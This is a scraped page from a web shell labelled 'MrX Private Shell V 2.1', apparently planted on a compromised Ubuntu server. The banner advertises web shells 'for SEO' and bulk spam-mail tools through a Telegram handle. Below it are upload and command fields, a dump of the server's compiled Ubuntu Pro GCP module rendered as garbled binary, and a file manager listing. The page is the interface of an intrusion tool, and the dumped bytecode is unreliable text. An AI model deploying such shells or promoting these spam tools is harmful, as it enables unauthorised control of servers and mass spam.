__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g(���SSKrSSKrSSKrSSKrSSKJrJrJrJr SSK	J
r
JrJrJ
r
Jr SSKJr \R""\R$"\55rSrSrSrSrS	rS
rS/SS
/SS/SS/SS/S.r"SS\5rg)�N)�Any�Dict�List�Optional)�
exceptions�http�secret_manager�system�util)�PublicCloudAutoAttachInstancez�http://metadata/computeMetadata/v1/instance/service-accounts/default/identity?audience=contracts.canonical.com&format=full&licenses=TRUEzThttp://metadata.google.internal/computeMetadata/v1/instance/licenses/?recursive=truez&wait_for_change=truez&last_etag={etag}z/sys/class/dmi/id/product_namezGoogle Compute Engine�8045211386737108299�6022427724719891830�7427070211152946628�599959289349842382�7818678586103571931�2592866803419978320�160084055690847662�2176054482269786025�4168323874790319525)�xenial�bionic�focal�jammy�noblec���\rSrSrSr\\R"\R/SQS9S\
\\44Sj55r
\S\4Sj5r\S\4Sj5rS\\4S	jrS\4S
jrS\S\4SjrS
rg)�GCPAutoAttachInstance�$c��SUlg)N��etag��selfs �5/usr/lib/python3/dist-packages/uaclient/clouds/gcp.py�__init__�GCPAutoAttachInstance.__init__%s����	�)g�?�r')�retry_sleeps�returnc���[R"[SS0SS9nURS:Xa7[R
R
UR5 SUR0$URRS5nU(a3SUR5;a[R"URUS	9e[R"URURS
9e)N�Metadata-Flavor�Googler')�headers�timeout���
identityToken�error_descriptionzservice account)�status_code�	error_msg)�code�body)r�readurl�	TOKEN_URLr4r	�secrets�
add_secretr5�	json_dict�get�lowerr�GCPServiceAccountError�CloudMetadataError)r"�response�
error_descs   r#�identity_doc�"GCPAutoAttachInstance.identity_doc,s����<�<�� 1�8�<�a�
���=�=�C���"�"�-�-�h�m�m�<�#�X�]�]�3�3��'�'�+�+�,?�@�
��+�z�/?�/?�/A�A��3�3�$�M�M�Z��
��+�+����X�]�]�
�	
r&c��g)N�gcp�r!s r#�
cloud_type� GCPAutoAttachInstance.cloud_type?s��r&c��[RR[5(a3[R
"[5n[UR5:Xagg)z$This machine is a viable GCPInstanceTF)�os�path�exists�DMI_PRODUCT_NAMEr
�	load_file�GCP_PRODUCT_NAME�strip)r"�product_names  r#�	is_viable�GCPAutoAttachInstance.is_viableCs@���7�7�>�>�*�+�+�!�+�+�,<�=�L��<�#5�#5�#7�7��r&c�$�URSn[R"URS5SS-5n[R
"UR
S55nURS05RS05RS/5$)	z�Get a list of licenses from the GCP metadata.

Instance identity token (jwt) carries a list of licenses
associated with the instance itself.

Returns an empty list if licenses are not present in the metadata.
r0�.r'z===zutf-8�google�compute_engine�
license_id)rA�base64�urlsafe_b64decode�split�json�loads�decoder;)r"�token�identity�
identity_dicts    r#�get_licenses_from_identity�0GCPAutoAttachInstance.get_licenses_from_identityMs|���!�!�/�2���+�+�E�K�K��,<�Q�,?�%�,G�H���
�
�8�?�?�7�#;�<�
����h��+�
�S�!�2�
&�
�S��r�
"�	
r&c��[R"5RnU[;a[RS5 gg)Nz0This series isn't supported for GCP auto-attach.FT)r
�get_release_info�series�GCP_LICENSES�LOG�info)r"res  r#�should_poll_for_pro_license�1GCPAutoAttachInstance.should_poll_for_pro_license^s1���(�(�*�1�1����%��H�H�G�H��r&�wait_for_changec��[nU(a:U[-
nUR(a U[R	URS9-
n[
R"USS0S9nURS:Xa�URVs/sHoDSPM	 nnURRS5Ul[R"5Rn[RU/5H
nXu;dM
 g g	[R!UR"5 URS
:Xa[$R&"5e[$R("5es snf)Nrr+r,)r-r/�idr TFi�)�LICENSES_URL�WAIT_FOR_CHANGEr �	LAST_ETAG�formatrr6r4�	json_listr-r;r
rdrerfrg�errorr5r�CancelProLicensePolling�DelayProLicensePolling)r"rk�urlr?�license�license_idsre�lics        r#�is_pro_license_present�,GCPAutoAttachInstance.is_pro_license_presentes������?�"�C��y�y��y�'�'�T�Y�Y�'�7�7���<�<��.?��-J�K���=�=�C��8@�8J�8J�K�8J�W�4�=�8J�K�K� �(�(�,�,�V�4�D�I��,�,�.�5�5�F�#�'�'���3���%��4���	�	�(�-�-� ��=�=�C���4�4�6�6��3�3�5�5��Ls�=E
rN)�__name__�
__module__�__qualname__�__firstlineno__r$�propertyr�retryrr>r�strrrArF�boolrQrrarirz�__static_attributes__rEr&r#rr$s�����	�Z�Z�
�-�-�K�H�
�d�3��8�n�
�I��
�"��C������4����
�D��I�
�"�T��6��6�$�6r&r)rXr[�loggingrI�typingrrrr�uaclientrrr	r
r�uaclient.cloudsr�	getLogger�replace_top_level_logger_namer|rgr7rnrorprLrNrfrrEr&r#�<module>r�s���
���	�,�,�C�C�9�
����:�:�8�D�E�� �
��
�*���	�3��*��%�%�$�&;�<�"�$9�
:�#�%9�
:�#�%:�
;���W6�9�W6r&

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 3.21 KB 0644
aws.cpython-313.pyc File 7.89 KB 0644
azure.cpython-313.pyc File 4.42 KB 0644
gcp.cpython-313.pyc File 6.52 KB 0644
identity.cpython-313.pyc File 4.49 KB 0644
lxd.cpython-313.pyc File 3.64 KB 0644
Filemanager